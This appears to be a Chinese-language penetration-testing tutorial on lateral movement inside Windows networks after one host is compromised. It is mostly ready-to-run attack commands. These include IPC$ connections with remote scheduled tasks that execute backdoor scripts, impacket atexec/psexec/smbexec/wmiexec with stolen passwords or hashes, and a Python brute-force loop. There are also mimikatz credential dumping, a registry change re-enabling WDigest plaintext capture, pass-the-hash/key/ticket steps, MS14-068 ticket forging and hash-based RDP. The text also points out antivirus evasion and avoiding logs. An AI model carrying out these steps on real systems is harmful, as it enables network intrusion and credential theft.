at&schtasks
在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?
在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。
获取到某域主机权限 –> minikatz得到密码(明文,hash)–> 用到信息收集里面域用户的列表做用户名字典 –> 用到密码明文当做密码字典 –> 尝试连接 –> 创建计划任务(at|schtasks) –> 执行文件(后门或命令)
利用流程:
- 建立IPC连接到目标主机
- 拷贝要执行的命令脚本或木马到目标主机
- 查看目标时间,创建计划任务定时执行脚本
- 删除IPC连接
#建立IPC连接
net use \\10.1.1.1\IPC$ "passwd" /user:username #工作组
net use \\10.1.1.1\IPC$ "passwd" /user:domainname\username #域
dir \\10.1.1.1\c$\ #查看文件列表
copy \\10.1.1.1\c$\1.bat 1.bat #下载文件
copy 1.bat \\10.1.1.1\c$ #上传文件
net use \\10.1.1.1\IPC$ /del #删除IPC连接
net view 10.1.1.1 #查看对方共享
建立IPC失败的原因:
1. 目标系统不是NT或以上的操作系统
2. 对方没有打开IPC$共享
3. 对方未开启139、445端口,或者被防火墙屏蔽
4. 账号密码错了
at
<Windows2012
建立ipc连接,然后把执行文件copy上去,再使用at命令添加计划任务。
at \\10.1.1.1\ 11:30 C:\hh.bat
at \\10.1.1.1 1 /delete
// 1为计划任务的ID
schtasks
>=windows2012
建立ipc连接,然后把执行文件copy上去,再使用schtasks命令添加计划任务。
#在10.1.1.1创建任务名为adduser,每天执行的,文件路径为C:\add.bat的任务
schtasks /create /s 10.1.1.1 /ru "SYSTEM" /tn adduser /sc DAILY /tr C:\add.bat /F
#运行adduser任务
schtasks /run /s 10.1.1.1 /tn adduser /i
#删除adduser任务
schtasks /delete /s 10.1.1.1 /tn adduser /f
atexec-impacket
可以看到以上两种方法都是明文密码,但是我们信息搜集的时候可能会得到hash值,就没有办法去连接。这里使用一款工具impacket里的atexec。
可以直接使用命令,但是不免杀。
atexec.exe administrator:666.com@10.1.1.1 "whoami"
atexec.exe ZJ/administrator:666.com@10.1.1.1 "whoami"
atexec.exe -hashes :6f8a61c6702f90ae246aa2a298fcdc35333 administrator@10.1.1.1 "whoami"
批量利用
俭朴版:
#扫到存活ip后保存在一个ips.txt的文件,pass.txt、hash.txt是由mimikatz来的.
FOR /F %%i in (ips.txt) do net use \\%%i\IPC$ "666.com" /user:administrator #变量ip
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:666.com@%%i "whoami" #变量ip
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@10.1.1.1 "whoami" #变量pass
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@10.1.1.1 "whoami" #变量hash
升级版:
写脚本,把ip、passwd、username都变三重循环。
import os,time
ips={
'10.1.1.1',
'10.1.1.2'
}
users={
'jiarong.gao',
'ping.fang'
}
passwd={
'666.com'
}
for ip in ips:
for user in users:
for mima in passwd:
payld="net use \\"+ "\"+ip+'\ipc$ '+mima+' /user:'+user
print('--->'+payld+'<---')
os.system(payld)
time.sleep(1)
将py文件变成exe文件:
D:\python\Scripts\pyinstaller.exe -F at_fuzz.py
exe在dist文件夹里。
psexec&smbexec
win2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码。
win2012一下版本若安装KB2871997补丁,同样也会导致无法获取明文密码。
针对以上情况,有以下解决方案:
- 利用哈希hash传递(pth,ptk等)进行移动
- 利用其他服务协议(SMB,WMI等)进行哈希移动
- 利用注册表操作开启Wdigest Auth值进行获取明文
- 利用工具或第三方平台(Hashcat)进行破解获取明文
windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows2003以后,认证方式均为NTLM Hash。
注册表修改
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
psexec
第一种:先建立IPC连接,再使用psexec(需要明文或hash传递)
net use \\10.1.1.1\IPC$ "666.com" /user:administrator
psexec \\10.1.1.1 -s cmd #-s以System运行
第二种:不建立IPC连接。
psexec \\10.1.1.1 -u administrator -p 666.com -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.1.1
psexec -hashes :$HASH$ domain/administrator@10.1.1.1
psexec -hashes :6f8a61c6702f90ae246aa2a298fcdc35 ./administrator@10.1.1.1
使用hashes传递时可能会出错,我们可以使用impacket工具包里的psexec,这个是基于官方的psexec二次开发的,可以进行hash的传递。但是容易被杀。
smbexec
也是impacket工具包的一个软件。
不用IPC连接
smbexec ZJ/administrator:666.com@10.1.1.1
smbexec ./administrator:666.com@10.1.1.1
smbexec -hashes :6f8a61c6702f90ae246aa2a298fcdc35 ZJ/administrator@10.1.1.1
smbexec -hashes :6f8a61c6702f90ae246aa2a298fcdc35 ./administrator@10.1.1.1
wmic&wmiexec
WMI是通过135端口进行利用。支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。需要提权。
#自带WMIC 明文传递 无回显
wmic /node:10.1.1.1 /user:administrator /password:666.com process call create "cmd.exe /c ipconfig >C:\1.txt"
命令结果在1.txt里,且保存在10.1.1.1的电脑里。
#自带cscript明文传输 有回显
cscript //nologo wmiexec.vbs /shell 10.1.1.1 administrator 666.com
#套件impacket的wmiexec 明文或hash传递 有回显exe版本
wmiexec ./administrator:666.com@10.1.1.1 "whoami"
wmiexec ZJ/administrator:666.com@10.1.1.1 "whoami"
wmiexec -hashes :6f8a61c6702f90ae246aa2a298fcdc35 ./administrator@10.1.1.1 "whoami"
wmiexec -hashes :6f8a61c6702f90ae246aa2a298fcdc35 ZJ/administrator@10.1.1.1 "whoami"
PTH&PTT&PTK
- PTH(pass the hash) #利用LM或NTLM的值进行的渗透测试
- PTT(pass the ticket) #利用的票据凭证TGT进行的渗透测试
- PTK(pass the key) #利用的AES-256进行的渗透测试
PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM hash访问远程主机或服务,而不用提供明文密码。
如果禁用了NTLM认证。PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2,安装补丁kb2871997的Win7/2009r2/8/2012等,可以使用AES keys代替NT hash 来实现PTK攻击。
pth:没打补丁域用户和本地administrator可以连接,打了补丁也没啥影响。
ptk:打了补丁才能用户才可以连接,采用AES256连接。
PTH
ntlm 传递,工具:mimikatz
首先用mimikatz得到ntlm值。
privilege::debug
sekurlsa::logonpasswords
未打补丁的工作组及域连接:
privilege::debug
sekurlsa::pth /user:administrator /domain:zj /ntlm:6f8a61c6702f90ae246aa2a298fcdc35
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:6f8a61c6702f90ae246aa2a298fcdc35
然后会弹出一个cmd窗口,可以直接进行连接。
net use \\10.1.1.1\IPC$
dir \\10.1.1.1\c$
PTK
打了补丁kb2871997才能用
首先要得到AES256的值,mimikatz:
privilege::debug
sekurlsa::ekeys
sekurlsa::pth /user:administrator /domain:zj.com /aes256:6f88e6d06c3ecb95e37fe23b3ef372738ec67871b71606c588a1668ca62161ac
PTT
第一种利用漏洞:
能实现普通用户直接获取域控system权限
#MS14-068 powershell执行
1.查看当前sid
whoami /user
2.mimikaz
kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造。
kerberos::list //查看当前机器凭证
kerberos::ptc 票据文件 //将票据注入到内存中
3.利用MS14-068生成TGT数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控地址 -p 域成员密码
MS14-068.exe -u jiarong.gao@zj.com -s S-1-5-21-3032773461-2117130829-2438403642-1103 -d 10.1.1.1 -p 666.com
4.票据注入内存
mimikatz.exe "kerberos::ptc TGT_mary@zj.com.ccache" exit
5.查看凭证列表
klist
6.利用
dir \\10.1.1.1\c$
第二种利用工具kekeo
1.生成票据
kekeo "tgt::ask /user:jiarong.gao /domain:zj.com /ntlm:6f8a61c6702f90ae246aa2a298fcdc35"
2.导入票据
kerberos::ptt 票据名
2.查看凭证
klist
4.利用net use 载入
dir \\10.1.1.1\c$
第三种利用本地票据(管理员权限)、
sekurlsa::tickets /export
kerberos::ptt xxxxxxxx.xxxx.kirbi
RDP
与linux的ssh协议类似,这是windows的远程桌面连接(图形)的协议,端口为3389
RDP明文密码连接
windows: mstsc
mstsc.exe /console /v:10.1.1.1 /administrator
linux: rdesktop 10.1.1.1:3389
RDP密文HASH链接
windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,同时如果Win7 和Windows Server 2008 R2安装了KB2871997、KB2973351补丁也支持。
开启命令:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
然后:
mstsc.exe /restrictedadmin
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:zj /ntlm:6f8a61c6702f90ae246aa2a298fcdc35 "/run:mstsc.exe /restrictedadmin"